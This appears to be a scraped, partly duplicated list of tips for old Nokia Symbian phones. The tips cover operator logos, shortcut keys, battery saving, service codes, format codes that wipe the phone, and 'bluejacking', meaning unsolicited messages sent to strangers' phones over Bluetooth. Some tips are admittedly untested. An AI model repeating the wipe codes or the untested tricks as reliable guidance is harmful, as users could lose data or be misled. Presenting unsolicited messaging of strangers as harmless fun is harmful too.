Use a filemanager like FExplorer or SeleQ to add the folders: "c:/system/Apps/phone/oplogo". Add a .bmp picture to folder "oplogo" and restart your phone! The .bmp picture size needs to be: 97 x 25 pixels
Tip 11: Check if the recepients phone is on
Delivery reports
or
Type *0# your message in the message composer window space then write your message, the recipient will not see the star zero hash bit - just the message When they read it it will relay a message back to your fone showing the time they recieved it. (haven't yet tried it myself though)
Tip 12: BlueJacking
First up, you need to know what Bluetooth is. There are lots of types of modern devices that incorporate Bluetooth as one of their many features. PDAs, mobile phones and laptops are a few of these modern devices. Bluetooth means that Bluetooth enabled devices can send things like phonebook/address book contacts, pictures & notes to other Bluetooth enabled devices wirelessly over a range of about 10 metres. So, we've got past the boring part. Now, using a phone with Bluetooth, you can create a phonebook contact and write a message, eg. 'Hello, you've been bluejacked', in the 'Name' field. Then you can search for other phones with Bluetooth and send that phonebook contact to them. On their phone, a message will popup saying "'Hello, you've been bluejacked' has just been received by Bluetooth" or something along those lines. For most 'victims' they will have no idea as to how the message appeared on their phone.
Tip 13: While you are viewing a picture in your phone's gallery, press one of these shortcut keys (definitely works on 6600, not sure about other symbians)
1 - turn image anticlockwise
3 - turn image clockwise
* - toggle on/off of full screen
5 - zoom in
0 - zoom out
Tips 14 :u can select all files in a folder by selecting THE folder and copy it then paste it somewhere. However u need to make a new directory. Fexplorer wun let u copy that folder together. Well seleQ can mark files to copy but it really takes time!
Tips 15 :A soft and Hard reset
A Soft-reset - the process of resetting all the settings of the phone to the factory default! No applications are deleted! A Hard-reset is like formatting a drive! It does format the memory. Everything that has been installed after the first use of the phone is deleted! It will recover the memory of the phone to the state you purchased it! It is done by inputing the following code: *#7370# NOTE: The battery must be full or the charger has to be connected to the phone so that it does not run out of power and make the phone unusable.
Tips 1 : Do u know how to use the edit button (abc or pencil button)?
Heres how... In the inbox for example; u wanna delete multiple sms, simply hold the edit button, scroll down, and then, press c to delete the marked sms. The edit button can also b used to copy and past text in sms, simply hold it and scroll across, choose copy. Pretty good for placing song names in ngages
Tip 2 : Shit happens, on a smartphone, its inevitable u do something wrong, and tis calls for a format of fone. To format the fone, press *#7370#, then enter the lock code, which is the sec code of the fone. NOTE: batt must b full, else if format is disrupted by low batt, consequences will b disatrous.I heard the code *#7780# works too, pretty much the same i tink.
for 6600 users, to format the fone, theres an alternative way. Press and hold <3>, <*> and Call (Send) buttons, then power on fone, keep holding on the 3 buttons, till u come to a format screen. This method ONLY works on 6600, and need not enter the sec code. BUT sec code would be reset to default 12345.
Tip 3 : TO NGAGE USERS; Did u know u can install .sis files simply using the cable given? Juz plug it in, place the .sis file anywhere on e: (the mmc), not in any folders, root of e:, disconnect, then look for it in manager.
Tip 4: Save on battery and system memory being used by regulary checking the task manager which can be accessed by holding down the menu button!!
Tip 4a: Set the screen saver to a short time out period to prolong battery life.
Tip 4b: Avoid restarting the phone, or repeatedly turning it on and off. This helps increase battery life.
Tip 5: Type *#06# to display your IMEI serial number, very valuable for the unlocking your phone to other sim cards
Tip 6: Type *#0000# to view which firmware version you are running
Tip 7: If you would like to avoid being "blue jacked", keep bluetooth turned off, or set your phone's visibility to hidden.
Tip 8: Don't want to carry a watch and a phone? Set the screen saver to show date and time, then you can ditch the watch.
Tip 9: Save memory when installing apps, by installing over bluetooth. This can be done using the nokia phone suite and a bluetooth serial connection. Only works with .SIS files, so java still has to be sent to the phone, but will save space when using .SIS files.
Tip 10: Operator logos
Use a filemanager like FExplorer or SeleQ to add the folders: "c:/system/Apps/phone/oplogo". Add a .bmp picture to folder "oplogo" and restart your phone! The .bmp picture size needs to be: 97 x 25 pixels
Tip 11: Check if the recepients phone is on
Delivery reports
or
Type *0# your message in the message composer window space then write your message, the recipient will not see the star zero hash bit - just the message When they read it it will relay a message back to your fone showing the time they recieved it. (haven't yet tried it myself though)
Tip 12: BlueJacking
First up, you need to know what Bluetooth is. There are lots of types of modern devices that incorporate Bluetooth as one of their many features. PDAs, mobile phones and laptops are a few of these modern devices. Bluetooth means that Bluetooth enabled devices can send things like phonebook/address book contacts, pictures & notes to other Bluetooth enabled devices wirelessly over a range of about 10 metres. So, we've got past the boring part. Now, using a phone with Bluetooth, you can create a phonebook contact and write a message, eg. 'Hello, you've been bluejacked', in the 'Name' field. Then you can search for other phones with Bluetooth and send that phonebook contact to them. On their phone, a message will popup saying "'Hello, you've been bluejacked' has just been received by Bluetooth" or something along those lines. For most 'victims' they will have no idea as to how the message appeared on their phone.
Tip 13: While you are viewing a picture in your phone's gallery, press one of these shortcut keys (definitely works on 6600, not sure about other symbians)
1 - turn image anticlockwise
3 - turn image clockwise
* - toggle on/off of full screen
5 - zoom in
0 - zoom out
Tips 14 :u can select all files in a folder by selecting THE folder and copy it then paste it somewhere. However u need to make a new directory. Fexplorer wun let u copy that folder together. Well seleQ can mark files to copy but it really takes time!
Tips 15 :A soft and Hard reset
A Soft-reset - the process of resetting all the settings of the phone to the factory default! No applications are deleted! A Hard-reset is like formatting a drive! It does format the memory. Everything that has been installed after the first use of the phone is deleted! It will recover the memory of the phone to the state you purchased it! It is done by inputing the following code: *#7370# NOTE: The battery must be full or the charger has to be connected to the phone so that it does not run out of power and make the phone unusable.
Resize your Mobile Games and Application for your resoultion
Resize your Mobile Games and Application for your resoultion
This simple "hack", allows running java game developed and optimized for low resolution phones (176*208) like N70 on the high resolution phones (352*416) like N80 or phones with QVGA screens like N93 in full screen mode and its native resolution. Now a have a free PC software that allows editing and changing the screen resolution of Java applications/games to any of the stand.
Download
Download
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